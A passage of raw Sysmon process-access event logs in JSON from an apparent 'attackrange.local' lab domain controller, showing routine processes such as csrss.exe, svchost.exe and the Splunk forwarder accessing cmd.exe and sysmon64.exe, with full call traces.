Files\\SplunkUniversalForwarder\\bin\\Splunk.EXE","TargetProcessGUID":"{90617006-4078-5F2D-0000-00104AFB0400}","TargetProcessId":"4808","TargetImage":"C:\\Windows\\system32\\cmd.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\System32\\ucrtbase.dll+9ea4a|C:\\Windows\\System32\\ucrtbase.dll+9e42e|C:\\Program Files\\SplunkUniversalForwarder\\bin\\Splunk.EXE+43bc6|C:\\Program Files\\SplunkUniversalForwarder\\bin\\Splunk.EXE+6665|C:\\Program Files\\SplunkUniversalForwarder\\bin\\Splunk.EXE+14738|C:\\Program Files\\SplunkUniversalForwarder\\bin\\Splunk.EXE+d8a0|C:\\Program Files\\SplunkUniversalForwarder\\bin\\Splunk.EXE+1adfc|C:\\Program Files\\SplunkUniversalForwarder\\bin\\Splunk.EXE+4cf68|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:24","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:24","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2988,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:24.383\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 1148\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-4078-5F2D-0000-00104AFB0400}\r\nTargetProcessId: 4808\r\nTargetImage: C:\\Windows\\system32\\cmd.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:24.383","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"1148","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-4078-5F2D-0000-00104AFB0400}","TargetProcessId":"4808","TargetImage":"C:\\Windows\\system32\\cmd.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:52:24","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:24","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2989,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:24.383\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:24.383","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:24","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:24","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2990,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:24.383\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:24.383","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:24","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:24","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2991,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:24.383\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:24.383","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:24","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:24","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2992,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:24.383\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:24.383","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:24","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:24","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2993,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:24.383\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:24.383","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:24","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:24","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2994,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:24.383\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:24.383","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:24","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:24","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2995,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:24.383\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:24.383","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:24","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:24","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2996,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:24.383\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 